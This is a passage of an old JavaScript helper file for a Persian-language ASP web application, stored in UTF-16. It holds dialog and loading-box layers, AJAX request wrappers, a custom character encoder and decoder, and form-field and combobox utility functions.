ÿþv a r   d i a l o g I s O p e n   =   0   ;  
 v a r   D i a l o g P r e v _ o v e r f l o w X ,   D i a l o g P r e v _ o v e r f l o w Y ;  
 v a r   d e l i m i t e r   =   " $ $ $ " ;  
 v a r   m e s s a g e B o x _ n e x t F u n c t i o n ;  
  
 f u n c t i o n   s h L a y e r s ( )  
 {  
 / /   D i s a b l e  
 	 d o c u m e n t . w r i t e ( " < d i v   i d = \ " d i s a b l e L a y e r \ "   s t y l e = \ " p a d d i n g : 0 p x ;   p o s i t i o n :   a b s o l u t e ;   w i d t h :   1 0 p x ;   h e i g h t :   2 3 0 p x ;   z - i n d e x :   1 ;   b a c k g r o u n d - c o l o r :   # F F F F F F ;   v i s i b i l i t y : h i d d e n ;   l e f t : 0 ;   t o p : 0 ;   f i l t e r : A l p h a ( O p a c i t y = 7 0 ,   S t y l e = 0 ) \ " > < / d i v > " ) ;  
 	  
 / /   S h a d o w  
 	 d o c u m e n t . w r i t e ( " < d i v   i d = \ " s h a d o w L a y e r \ "   s t y l e = \ " p a d d i n g : 0 p x ;   p o s i t i o n :   a b s o l u t e ;   w i d t h :   1 0 p x ;   h e i g h t :   2 3 0 p x ;   z - i n d e x :   2 ;   b a c k g r o u n d - c o l o r :   # 0 0 0 0 0 0 ;   v i s i b i l i t y : h i d d e n ;   l e f t : 0 ;   t o p : 0 ;   f i l t e r : A l p h a ( O p a c i t y = 3 0 ,   S t y l e = 0 ) \ " > < / d i v > " ) ;  
 	  
 / /   L o a d i n g   B o x  
 	 d o c u m e n t . w r i t e ( " < d i v   i d = \ " l o a d i n g B o x \ "   s t y l e = \ " b o r d e r : 3 p x   s o l i d   # 0 0 0 0 0 0 ;   p o s i t i o n :   a b s o l u t e ;   w i d t h :   1 9 2 p x ;   h e i g h t :   1 5 0 p x ;   z - i n d e x :   2 ;   p a d d i n g - l e f t :   0 p x ;   p a d d i n g - r i g h t :   0 p x ;   p a d d i n g - t o p :   1 p x ;   p a d d i n g - b o t t o m :   1 p x ;   b a c k g r o u n d - c o l o r :   # f f f f f f ;   v i s i b i l i t y : h i d d e n ;   l e f t : 1 p x ;   t o p : 1 p x \ "   > " ) ;  
 d o c u m e n t . w r i t e ( " < B R > < p   a l i g n = \ " c e n t e r \ "   d i r = \ " r t l \ " > < i m g   i d = \ " l o a d i n g I m a g e \ "   b o r d e r = \ " 0 \ "   s r c = \ " I m a g e s / I c o n _ l o a d i n g . g i f \ "   > < f o n t   f a c e = \ " t a h o m a \ "   s i z e = \ " 2 \ " > < b r > 5(1  ©FJ/. . . < / f o n t > < / d i v > " ) ;  
  
  
 }  
  
 / / 1 :   A l e r t     /   2 :   E r r p r       /   3 :   O K  
 f u n c t i o n   m e s s a g e B o x S h o w ( t y p e , t i t l e , m e s s a g e )  
 {  
 	 i f   ( t y p e   = =   1 )  
 	 {  
 	 	 f o r m T e m p l a t e M s g . s t y l e . b o r d e r C o l o r   =   " # A 6 A 6 0 0 " ;  
 / / 	 	 f o r m T e m p l a t e M s g B u t t o n . s t y l e . b o r d e r C o l o r   =   " # A 6 A 6 0 0 " ;  
 / / 	 	 f o r m T e m p l a t e M s g I c o n . s r c   =   " I m a g e s / i c o n _ a l e r t . g i f " ;  
 	 }  
 	 e l s e  
 	 {  
 	 	 f o r m T e m p l a t e M s g . s t y l e . b o r d e r C o l o r   =   " # A 6 0 0 0 0 " ;  
 / / 	 	 f o r m T e m p l a t e M s g B u t t o n . s t y l e . b o r d e r C o l o r   =   " # A 6 0 0 0 0 " ;  
 / / 	 	 f o r m T e m p l a t e M s g I c o n . s r c   =   " I m a g e s / i c o n _ e r r o r . g i f " ;  
 	 }  
 	 f o r m T e m p l a t e M s g T i t l e . i n n e r H T M L   =   t i t l e ;  
 	 f o r m T e m p l a t e M s g B o d y . i n n e r H T M L   =   m e s s a g e ;  
 	 s h o w D i a l o g ( " f o r m T e m p l a t e M s g " ) ;  
 } 	  
  
  
  
 / /   = - - - - - - - - - - - - - - - - - -   A J A X  
 f u n c t i o n   G e t X m l H t t p O b j e c t ( )  
 {    
 	 v a r   o b j X M L H t t p = n u l l ;  
 	 i f   ( w i n d o w . X M L H t t p R e q u e s t )  
 	 	 o b j X M L H t t p = n e w   X M L H t t p R e q u e s t ( ) ;  
 	 e l s e   i f   ( w i n d o w . A c t i v e X O b j e c t )  
 	 	 o b j X M L H t t p = n e w   A c t i v e X O b j e c t ( " M i c r o s o f t . X M L H T T P " ) ;  
 	 r e t u r n   o b j X M L H t t p ;  
 }  
  
 f u n c t i o n   a j D e c o d e ( t x t )  
 {  
 	 i f   ( t x t   = =   " " )    
 	 	 r e t u r n   " " ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 0 1 " ,   " "" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 0 2 " ,   " '" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 0 3 " ,   " (" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 0 4 " , " ~" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 0 5 " , " *" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 0 6 " , " +" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 0 7 " , " ," ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 0 8 " , " †" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 0 9 " , " -" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 1 0 " , " ." ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 1 1 " , " /" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 1 2 " , " 0" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 1 3 " , " 1" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 1 4 " , " 2" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 1 5 " , " ˜" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 1 6 " , " 3" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 1 7 " , " 4" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 1 8 " , " 5" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 1 9 " , " 6" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 2 0 " , " 7" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 2 1 " , " 8" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 2 2 " , " 9" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 2 3 " , " :" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 2 4 " , " A" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 2 5 " , " B" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 2 6 " , " ©" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 2 7 " , " ¯" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 2 8 " , " D" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 2 9 " , " E" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 3 0 " , " F" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 3 1 " , " H" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 3 2 " , " G" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 3 3 " , " &" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 3 4 " , " Ì" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 3 5 " , " Ì" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 3 6 " , " J" ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 4 0 " , " " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ 4 1 " , " " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " & s ; " , " ^ " ) ;  
 	 r e t u r n ( t x t ) ;  
 }  
  
 f u n c t i o n   a j E n c o d e ( t x t )  
 {  
 	 i f   ( t x t = = " " )  
 	 	 r e t u r n   " " ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ " , " & s ; " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " "" , " ^ 0 1 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " '" , " ^ 0 2 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " (" , " ^ 0 3 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ~" , " ^ 0 4 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " *" , " ^ 0 5 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " +" , " ^ 0 6 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ," , " ^ 0 7 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " †" , " ^ 0 8 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " -" , " ^ 0 9 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ." , " ^ 1 0 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " /" , " ^ 1 1 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " 0" , " ^ 1 2 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " 1" , " ^ 1 3 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " 2" , " ^ 1 4 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ˜" , " ^ 1 5 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " 3" , " ^ 1 6 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " 4" , " ^ 1 7 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " 5" , " ^ 1 8 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " 6" , " ^ 1 9 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " 7" , " ^ 2 0 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " 8" , " ^ 2 1 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " 9" , " ^ 2 2 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " :" , " ^ 2 3 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " A" , " ^ 2 4 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " B" , " ^ 2 5 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ©" , " ^ 2 6 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ¯" , " ^ 2 7 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " D" , " ^ 2 8 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " E" , " ^ 2 9 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " F" , " ^ 3 0 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " H" , " ^ 3 1 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " G" , " ^ 3 2 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " &" , " ^ 3 3 " ) ;  
 	  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " & # 1 7 4 0 ; " , " ^ 3 4 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " Ì" , " ^ 3 5 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " J" , " ^ 3 6 " ) ;  
 	  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " " , " ^ 4 0 " ) ;  
 	 t x t   =   r e p l a c e S u b s t r i n g ( t x t ,   " ^ " , " 4 1 " ) ;  
 	 r e t u r n ( t x t ) ;  
 }  
  
 / /   f o r   g e n e r a t i n g   a n d   p a s s   a   R a n d o m   I D   t o   I n t e r n a l   A S P s  
 f u n c t i o n   T C ( )  
 {  
 	 r e t u r n   M a t h . f l o o r ( M a t h . r a n d o m ( ) * 1 0 0 0 0 0 0 0 0 ) ;  
 }  
  
  
 f u n c t i o n   c a l l A s p ( p a g e N a m e ,   p a r a m e t e r   ,   t a r g e t F u n c t i o n )  
 {  
 	 x m l H t t p = G e t X m l H t t p O b j e c t ( ) ;  
 	 i f   ( x m l H t t p = = n u l l )  
 	 	 r e t u r n ;  
 	 v a r   u r l   =   p a g e N a m e ;  
 	 u r l   + =   " ? "   +   p a r a m e t e r   +   " & t c = "   +   T C ( ) ;  
   	 e v a l ( " x m l H t t p . o n r e a d y s t a t e c h a n g e   =   " + t a r g e t F u n c t i o n ) ;  
   	 x m l H t t p . o p e n ( " P O S T " , u r l , t r u e ) ;  
   	 x m l H t t p . s e n d ( n u l l ) ;  
 }  
  
 / /   d e f i n e   C l a s s  
 f u n c t i o n   f o r m F i e l d C l a s s ( )  
 {  
 	 / /   t y p e :   T = t e x t ,   A = A r e a B o x ,   C =   C o m b o b o x ,   D = D r o p D o w n ,   R = R a d i o ,   B = c h e c k B o x  
 	 t h i s . n a m e     =   " " ;  
 	 t h i s . t y p e   =   " T " ;  
 }  
  
 f u n c t i o n   f o r m F i e l d _ c l e a r A l l ( v a r i a b l e )  
 {  
 	 v a r   i L o o p ;  
 	 f o r   ( i L o o p = 0 ; i L o o p < v a r i a b l e . l e n g t h ; i L o o p + + )  
 	 {  
 	 	 i f   ( v a r i a b l e [ i L o o p ] . t y p e = = " L " )  
 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( v a r i a b l e [ i L o o p ] . n a m e ) . i n n e r T e x t   =   " " ;  
 	 	 e l s e   i f   ( v a r i a b l e [ i L o o p ] . t y p e = = " T " )  
 	 	 	 s e t F i e l d V a l u e ( v a r i a b l e [ i L o o p ] . n a m e , " " ) ;  
 	 	 e l s e   i f   ( v a r i a b l e [ i L o o p ] . t y p e = = " C " )  
 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( v a r i a b l e [ i L o o p ] . n a m e ) . s e l e c t e d I n d e x   =   0 ;  
 	 	 e l s e   i f   ( v a r i a b l e [ i L o o p ] . t y p e = = " B " )  
 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( v a r i a b l e [ i L o o p ] . n a m e ) . c h e c k e d   =   f a l s e ;  
 	 	 e l s e   i f   ( v a r i a b l e [ i L o o p ] . t y p e = = " I " )  
 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( v a r i a b l e [ i L o o p ] . n a m e ) . s r c   =   " " ;  
 	 }  
 }  
  
 / /   f o r m F i e l d V a r i a b l e   i s   a n   a r r a y   o f   f i e l d C l a s s  
 / /   g i v e   a   S t r e a m   ( U s u a l l y   f r o m   A S P )   a n d   g i v e   t h e   f o r m a t .   T h i s   f u n c t i o n   f i l l   t h e   f i e l d s  
 / /   f o m r a t :   0 , 2 , 3 , 4    
 f u n c t i o n   f o r m F i e l d _ f i l l B y S t r e a m ( f o r m F i e l d V a r i a b l e ,   i n p u t T e x t ,   f o r m a t S t r e a m )  
 {  
 	 v a r   f i e l d I n d e x ,   f i e l d V a l u e ,   t h e F i e l d ;  
 	 w h i l e   ( f o r m a t S t r e a m . l e n g t h   >   0 )  
 	 {  
 	 	 f i e l d I n d e x   =   p o p C o d e d T x t ( f o r m a t S t r e a m , " , " ) ;  
 	 	 f i e l d V a l u e   =   p o p C o d e d T x t ( i n p u t T e x t ) ;  
 / / 	 	 a l e r t ( f i e l d I n d e x )  
 / / 	 	 a l e r t ( i n p u t T e x t )  
 	 	 i f   ( f i e l d I n d e x ! = " - 1 " )  
 	 	 {  
 	 	 	 t h e F i e l d   =   f o r m F i e l d V a r i a b l e [ f i e l d I n d e x ] ;  
 	 	 	 i f   ( t h e F i e l d . t y p e = = " L " )  
 	 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( t h e F i e l d . n a m e ) . i n n e r H T M L   =   f i e l d V a l u e   ;  
 	 	 	 e l s e   i f   ( t h e F i e l d . t y p e   = =   " T " )  
 	 	 	 	 s e t F i e l d V a l u e ( t h e F i e l d . n a m e , f i e l d V a l u e ) ;  
 	 	 	 e l s e   i f   ( t h e F i e l d . t y p e = = " C " )  
 	 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( t h e F i e l d . n a m e ) . s e l e c t e d I n d e x   =   f i e l d V a l u e ;  
 	 	 	 e l s e   i f   ( t h e F i e l d . t y p e   = =   " B " )  
 	 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( t h e F i e l d . n a m e ) . c h e c k e d   =   f i e l d V a l u e ;  
 	 	 	 e l s e   i f   ( t h e F i e l d . t y p e   = =   " I " )  
 	 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( t h e F i e l d . n a m e ) . s r c   =   f i e l d V a l u e ;  
 	 	 } 	 	  
 	 	 f o r m a t S t r e a m   =   n e x t C o d e d T x t ( f o r m a t S t r e a m , " , " ) ;  
 	 	 i n p u t T e x t   =   n e x t C o d e d T x t ( i n p u t T e x t ) ;  
 	 }  
 }  
  
 / /   - - - - - -   S H O W   W A I T   m e s s a g e   f o r   C e l l  
 f u n c t i o n   a c t i v e W a i t 4 C e l l ( c e l l N a m e )  
 {  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( c e l l N a m e ) . i n n e r T e x t   =   " D7A'K  5(1  ©FJ/. . . " ;  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( c e l l N a m e ) . b g C o l o r   =   " F F F F 0 0 " ;  
 }  
 f u n c t i o n   d e A c t i v e W a i t 4 C e l l ( c e l l N a m e )  
 {  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( c e l l N a m e ) . i n n e r T e x t   =   " " ;  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( c e l l N a m e ) . b g C o l o r   =   " A D D 8 E 4 " ;  
 }  
  
  
 / /   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
 / /   - - - - - - - - - - - - - - - - - - -   F A R S I   f u n c t i o n s  
 f u n c t i o n   c h r ( c )    
 {    
 	 h = S t r i n g . f r o m C h a r C o d e ( c ) ;  
 	 r e t u r n   h ;  
 }  
  
 f u n c t i o n   g e t R a d i o C h e c k e d V a l u e ( r a d i o O b j )   {  
 a l e r t ( u s e r V o t e . v a l u e )  
 	 i f ( ! r a d i o O b j )  
 	 	 r e t u r n   " " ;  
 	 v a r   r a d i o L e n g t h   =   r a d i o O b j . l e n g t h ;  
 	 i f ( r a d i o L e n g t h   = =   u n d e f i n e d )  
 	 	 i f ( r a d i o O b j . c h e c k e d )  
 	 	 	 r e t u r n   r a d i o O b j . v a l u e ;  
 	 	 e l s e  
 	 	 	 r e t u r n   " " ;  
 	 f o r ( v a r   i   =   0 ;   i   <   r a d i o L e n g t h ;   i + + )   {  
 	 	 i f ( r a d i o O b j [ i ] . c h e c k e d )   {  
 	 	 	 r e t u r n   r a d i o O b j [ i ] . v a l u e ;  
 	 	 }  
 	 }  
 	 r e t u r n   " " ;  
 }  
 f u n c t i o n   A s c i 2 C h r ( t m p )  
 {  
 	 i f   ( t m p . i n d e x O f ( " - " ) = = 0 )  
 	 	 t m p   =   t m p . s u b s t r i n g ( 1 ) ;  
 	 v a r   t m p 1 = " " ;  
 	 w h i l e   ( t m p . l e n g t h > 0 )  
 	 {  
 	 	 i f   ( t m p . i n d e x O f ( " - " ) > 0 )  
 	 	 {  
 	 	 	 t m p 1 = t m p 1 + c h r ( t m p . s u b s t r i n g ( 0 , t m p . i n d e x O f ( " - " ) ) * 1 ) ;  
 	 	 	 t m p = t m p . s u b s t r i n g ( t m p . i n d e x O f ( " - " ) + 1 ) ;  
 	 	 }  
 	 e l s e  
       	 	 {  
       	 	 	 t m p 1 = t m p 1 + c h r ( t m p * 1 ) ;  
       	 	 	 t m p = " "   ;  
       	 	 }  
     	 }  
     	  
   	 r e t u r n ( t m p 1 )   ;  
 }    
  
  
 f u n c t i o n   U n i C ( f f )  
 {  
 	 d d = " " ;  
 	 f o r   ( u = 0 ; u < f f . l e n g t h ; u + + )  
 	 	 d d = d d + " - " + f f . c h a r C o d e A t ( u ) ;  
 	 r e t u r n   d d ;      
 }  
  
 / /   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
 / /   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   E v e n t s  
 f u n c t i o n   g e t O n l y N o ( )  
 {  
 	 v a r   k e y ;  
 	 i f   ( w i n d o w . e v e n t )  
 	 	 k e y   =   w i n d o w . e v e n t . k e y C o d e ;  
 	 e l s e   i f   ( e v e n t )  
 	 	 k e y   =   e v e n t . w h i c h ;  
 	 i f   ( ( k e y   > =   4 8 )   & &   ( k e y   < =   5 7 ) )  
 	 	 r e t u r n ( t r u e ) ;  
 	 e l s e  
 	 	 r e t u r n ( f a l s e ) ;  
 }  
  
  
 / /   - - - - - - - - - - - - - - - - - - - - -   A c c e s s o r i e s  
 f u n c t i o n   r e p l a c e S u b s t r i n g ( i n p u t S t r i n g ,   f r o m S t r i n g ,   t o S t r i n g )   {  
       / /   G o e s   t h r o u g h   t h e   i n p u t S t r i n g   a n d   r e p l a c e s   e v e r y   o c c u r r e n c e   o f   f r o m S t r i n g   w i t h   t o S t r i n g  
       v a r   t e m p   =   i n p u t S t r i n g ;  
       i f   ( f r o m S t r i n g   = =   " " )   {  
             r e t u r n   i n p u t S t r i n g ;  
       }  
       i f   ( t o S t r i n g . i n d e x O f ( f r o m S t r i n g )   = =   - 1 )   {   / /   I f   t h e   s t r i n g   b e i n g   r e p l a c e d   i s   n o t   a   p a r t   o f   t h e   r e p l a c e m e n t   s t r i n g   ( n o r m a l   s i t u a t i o n )  
             w h i l e   ( t e m p . i n d e x O f ( f r o m S t r i n g )   ! =   - 1 )   {  
                   v a r   t o T h e L e f t   =   t e m p . s u b s t r i n g ( 0 ,   t e m p . i n d e x O f ( f r o m S t r i n g ) ) ;  
                   v a r   t o T h e R i g h t   =   t e m p . s u b s t r i n g ( t e m p . i n d e x O f ( f r o m S t r i n g ) + f r o m S t r i n g . l e n g t h ,   t e m p . l e n g t h ) ;  
                   t e m p   =   t o T h e L e f t   +   t o S t r i n g   +   t o T h e R i g h t ;  
             }  
       }   e l s e   {   / /   S t r i n g   b e i n g   r e p l a c e d   i s   p a r t   o f   r e p l a c e m e n t   s t r i n g   ( l i k e   " + "   b e i n g   r e p l a c e d   w i t h   " + + " )   -   p r e v e n t   a n   i n f i n i t e   l o o p  
             v a r   m i d S t r i n g s   =   n e w   A r r a y ( " ~ " ,   " ` " ,   " _ " ,   " ^ " ,   " # " ) ;  
             v a r   m i d S t r i n g L e n   =   1 ;  
             v a r   m i d S t r i n g   =   " " ;  
             / /   F i n d   a   s t r i n g   t h a t   d o e s n ' t   e x i s t   i n   t h e   i n p u t S t r i n g   t o   b e   u s e d  
             / /   a s   a n   " i n b e t w e e n "   s t r i n g  
             w h i l e   ( m i d S t r i n g   = =   " " )   {  
                   f o r   ( v a r   i = 0 ;   i   <   m i d S t r i n g s . l e n g t h ;   i + + )   {  
                         v a r   t e m p M i d S t r i n g   =   " " ;  
                         f o r   ( v a r   j = 0 ;   j   <   m i d S t r i n g L e n ;   j + + )   {   t e m p M i d S t r i n g   + =   m i d S t r i n g s [ i ] ;   }  
                         i f   ( f r o m S t r i n g . i n d e x O f ( t e m p M i d S t r i n g )   = =   - 1 )   {  
                               m i d S t r i n g   =   t e m p M i d S t r i n g ;  
                               i   =   m i d S t r i n g s . l e n g t h   +   1 ;  
                         }  
                   }  
             }   / /   K e e p   o n   g o i n g   u n t i l   w e   b u i l d   a n   " i n b e t w e e n "   s t r i n g   t h a t   d o e s n ' t   e x i s t  
             / /   N o w   g o   t h r o u g h   a n d   d o   t w o   r e p l a c e s   -   f i r s t ,   r e p l a c e   t h e   " f r o m S t r i n g "   w i t h   t h e   " i n b e t w e e n "   s t r i n g  
             w h i l e   ( t e m p . i n d e x O f ( f r o m S t r i n g )   ! =   - 1 )   {  
                   v a r   t o T h e L e f t   =   t e m p . s u b s t r i n g ( 0 ,   t e m p . i n d e x O f ( f r o m S t r i n g ) ) ;  
                   v a r   t o T h e R i g h t   =   t e m p . s u b s t r i n g ( t e m p . i n d e x O f ( f r o m S t r i n g ) + f r o m S t r i n g . l e n g t h ,   t e m p . l e n g t h ) ;  
                   t e m p   =   t o T h e L e f t   +   m i d S t r i n g   +   t o T h e R i g h t ;  
             }  
             / /   N e x t ,   r e p l a c e   t h e   " i n b e t w e e n "   s t r i n g   w i t h   t h e   " t o S t r i n g "  
             w h i l e   ( t e m p . i n d e x O f ( m i d S t r i n g )   ! =   - 1 )   {  
                   v a r   t o T h e L e f t   =   t e m p . s u b s t r i n g ( 0 ,   t e m p . i n d e x O f ( m i d S t r i n g ) ) ;  
                   v a r   t o T h e R i g h t   =   t e m p . s u b s t r i n g ( t e m p . i n d e x O f ( m i d S t r i n g ) + m i d S t r i n g . l e n g t h ,   t e m p . l e n g t h ) ;  
                   t e m p   =   t o T h e L e f t   +   t o S t r i n g   +   t o T h e R i g h t ;  
             }  
       }   / /   E n d s   t h e   c h e c k   t o   s e e   i f   t h e   s t r i n g   b e i n g   r e p l a c e d   i s   p a r t   o f   t h e   r e p l a c e m e n t   s t r i n g   o r   n o t  
       r e t u r n   t e m p ;   / /   S e n d   t h e   u p d a t e d   s t r i n g   b a c k   t o   t h e   u s e r  
 }   / /   E n d s   t h e   " r e p l a c e S u b s t r i n g "   f u n c t i o n  
 f u n c t i o n   s e t F i e l d F o c u s ( i d )  
 {  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . f o c u s ( ) ;  
 }  
 f u n c t i o n   s e t F i e l d E m p t y ( i d )  
 {  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . v a l u e   =   " " ;  
 }  
 f u n c t i o n   g e t F i e l d V a l u e ( i d )  
 {  
 	 r e t u r n   ( d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . v a l u e ) ;  
 }  
 f u n c t i o n   s e t F i e l d V a l u e ( i d , t x t , a d d F l a g )  
 {  
 	 i f   ( a d d F l a g = = 0   | |   a d d F l a g   = =   n u l l )  
 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . v a l u e   =   t x t ;  
 	 e l s e  
 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . v a l u e   + =   t x t ;  
 }  
 f u n c t i o n   s e t F i e l d D i s a b l e ( i d ,   s i t u a t i o n )  
 {  
 	 i f   ( s i t u a t i o n = = n u l l )  
 	 	 s i t u a t i o n   =   t r u e ;  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . d i s a b l e d   =   s i t u a t i o n ;  
 }  
  
 f u n c t i o n   s e t F i e l d V i s i b l e ( i d ,   s i t u a t i o n )  
 {  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . s t y l e . v i s i b i l i t y   =   " v i s i b l e " ;  
 }  
 f u n c t i o n   s e t F i e l d H i d d e n ( i d ,   s i t u a t i o n )  
 {  
 	 d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . s t y l e . v i s i b i l i t y   =   " h i d d e n " ;  
 }  
  
 f u n c t i o n   g e t C o m b o V a l u e ( i d )  
 {  
 	 r e t u r n   ( d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . o p t i o n s [ d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . s e l e c t e d I n d e x ] . t e x t ) ;  
 }  
  
 f u n c t i o n   s e t C o m b o I n d e x B y T e x t ( i d , t x t )  
 {  
 	 f o r   ( v a r   i = 0 ; i < d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . o p t i o n s . l e n g t h ; i + + )  
 	 {  
 	 	 i f   ( d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . o p t i o n s [ i ] . t e x t = = t x t )  
 	 	 	 d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . s e l e c t e d I n d e x   =   i ;  
 	 }  
 }  
 f u n c t i o n   s e t C o m b o I n d e x B y V a l u e ( i d , v a l u e )  
 {  
 	 f o r   ( v a r   i = 0 ; i < d o c u m e n t . g e t E l e m e n t B y I d ( i d ) . o p t i o n s . l e n g t h ; i + + )  
